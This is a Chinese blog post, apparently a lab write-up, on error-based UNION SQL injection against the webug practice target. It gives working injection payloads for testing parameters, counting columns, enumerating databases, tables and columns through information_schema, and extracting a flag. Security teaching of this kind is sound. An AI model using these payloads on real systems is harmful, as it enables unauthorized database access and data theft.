1 SQL注入本质
注入攻击的本质,是把用户输入的数据当做SQL代码执行
两个关键条件:
第一个:用户能够控制输入,像我们常见的登陆框,一般就满足条件
第二个:程序原本要执行的代码,拼接了用户输入的数据然后进行执行
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
2 分析靶场注入
靶场地址:
判断注入点: and 1=1 页面正常
and 1=2 页面不正常
最简单的方法:
页面后面加 ' , " 看是否报错
如果是数字类型的传参,可以试一下-1
http://www.com/news.php?id=1 页面显示 id=1 的新闻
http://www.com/news.php?id=2-1 页面显示 id=1 的新闻
也可以试试 and -1 = -1 , and -1 = -2 ,and 1 > 0 等方法 或者直接 or sleep(5) 【当然sleep也可能被拦截】
3 注入的基本流程
显错注入-联合查询(MYSQL数据库)注入的基本流程
通过系统自带库查询
MYSQL在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表 栏的数据类型与访问权限等
information_schema.tables 存放表名和库名以及其它相关内容
information_schema.columns 存放字段名和表名以及其它相关内容
4 显错注入靶场的做法
MYSQL注入
判断当前页面字段总数
and 1=1 order by 1,2,3,4,5……
判断显示位
and 1=2 union select 1,2,3,4,5,6,7……
查当前数据库
and 1=2 union select 1,2,database()
查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查列名
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and table_schema=database() limit 0,1
查字段内容
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
5 靶场分析
1 根据页面 http://192.168.174.134/control/sqlinject/manifest_error.php?id=1 中manifest_error.php和id=1分析其为一个动态页面,并且能够控制输入
当id=1时,页面显示
当id=2时,页面显示
当id=1'时,页面显示
得到SQL代码为:select * from sqlinjection where id='1'';
错误原因是当id=1'时,传入SQL代码转换成id='1'',多了一个单引号,导致 SQL 语句无法被正确解析。
2 由注入点:control/sqlinject/manifest_error.php?id=1我们可以进一步考虑将注入执行的代码拼接用户输入的数据然后进行执行
有输出
select * from sqlinjection where id='1' and 1=1 -- +';
无输出
select * from sqlinjection where id='1' and 1=2 -- +';
进而推出
control/sqlinject/manifest_error.php?id=1' and 1=1 -- +
3 使用order by 检测sqlinjection表有多少个字段
order by 1,会根据第一个字段进行排序,当遇到不存在的字段时会报错,进而判断有多少个字段
select * from sqlinjection where id='1' order by 1 -- +';
control/sqlinject/manifest_error.php?id=1' order by 1 -- qwe
当order by 3 时报错,进而推出sqlinjection表有两个字段
报错:
4 使用union连接表输出,可以将两个表的查询结果都输出,进而判断出显示的是哪一个字段内容
select * from sqlinjection where id='1' union select 1,2 -- +';
control/sqlinject/manifest_error.php?id=1' union select 1,2 -- +'
不好观察,我们添加1=2将前面的输出去掉
select * from sqlinjection where id ='1'and 1=2 union select 1,2;
发现输出的为2,说明显示的为sqlinjection表的第二个字段内容
由select database();可以输出目前使用的数据库名;
select * from sqlinjection where id ='1'and 1=2 union select 1,database() -- +';
综上推出
control/sqlinject/manifest_error.php?id=1'and 1=2 union select 1,database() -- +
可以得到数据库名,根据数据库名,我们又可以进行下一步操作
5 我们建立的所有数据库信息会存在系统的数据库中,其中数据库中表信息存在于系统information_schema数据库中的tables表中,table_sechma列属性存放的是数据库名,table_name列属性存放的是对应的表名
基于这个原理我们可以根据已有的数据库名得到其数据库下所有的表名
select table_name from information_schema.tables where table_schema='webug' ;
得到
select * from sqlinjection where id='1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' -- +';
进而推出
control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' -- +
6 由因为页面直接将所有表名显示在一起,不能够判断表名
可以使用LIMIT n, m 语句用于分页查询,其中 n 是起始行的偏移量(从0开始),m 是要取的记录数。
select * from sqlinjection where id='1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' limit 0,1-- +';
control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' limit 0,1-- +
不断调试发现存在表名为flag
7 与5同理,建立的所有表信息会存在系统的数据库中,其中表字段信息存在于系统information_schema数据库中的columns表中,table_sechma列属性存放的是数据库名,其columns_name列属性存放的是对应的字段名
select * from sqlinjection where id='1' and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1 -- +';
select * from sqlinjection where id='1' and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1 -- +';
得到flag表中的第二字段为flag,
为防止输出连在一起,也可以使用GROUP_CONCAT() 函数,其用于将多行数据合并成一个以逗号分隔的字符串。
select * from sqlinjection where id='1' and 1=2 union select 1,group_concat( column_name) from information_schema.columns where table_schema=database() and table_name='flag' -- +';
control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,group_concat( column_name) from information_schema.columns where table_schema=database() and table_name='flag' -- +
8 综合所有信息得到flag
select flag from flag where id ='1' ;
select * from sqlinjection where id='1' and 1=2 union select 1,flag from flag -- +';
推出
control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,flag from flag -- +'
flag:dfafdasfafdsadfa
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/sql%e6%b3%a8%e5%85%a5/
共有 0 条评论